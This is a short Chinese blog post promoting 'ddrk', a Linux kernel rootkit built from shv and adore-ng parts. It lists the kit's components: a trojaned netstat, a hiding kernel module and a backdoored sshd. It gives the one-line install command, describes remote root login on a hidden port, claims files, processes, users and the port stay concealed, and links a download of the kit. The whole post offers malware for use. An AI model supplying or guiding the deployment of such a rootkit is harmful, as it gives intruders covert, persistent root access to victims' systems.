ddrk(DoDo's Rootkit)是一个Linux结合shv和adore-ng优点的，内核级rootkit
文件列表
netstat #替换系统的netstat，从ssh配置文件中读取端口，并隐藏
rk.ko #adore-ng编译后的内核模块，实现文件，进程隐藏功能
setup #rootkit安装主文件
tty #adore-ng带的ava工具
bin.tgz
---ttymon
---sshd.tgz
---sshd #sshd主程序
---shdcf2 #sshd配置文件
使用方法
#./setup password port
如果不设置用户名和端口，那么setup会利用文件里默认的用户名和密码安装
安装以后，使用ssh客户端远程连上此端口，使用用户名root，密码为设置的密码。
登录后效果
隐藏效果
使用W看当前登录用户，只有本地用户
查看SSHD进程ttyload
查看端口，无预设的43958
查看rootkit相关文件，UID，GID都一样，已经隐藏好
下载地址
http://www.sectop.com/soft/ddrk.tgz
本文来源于:DoDo's Blog http://www.sectop.com/ , 原文地址：http://www.sectop.com/post/60.html
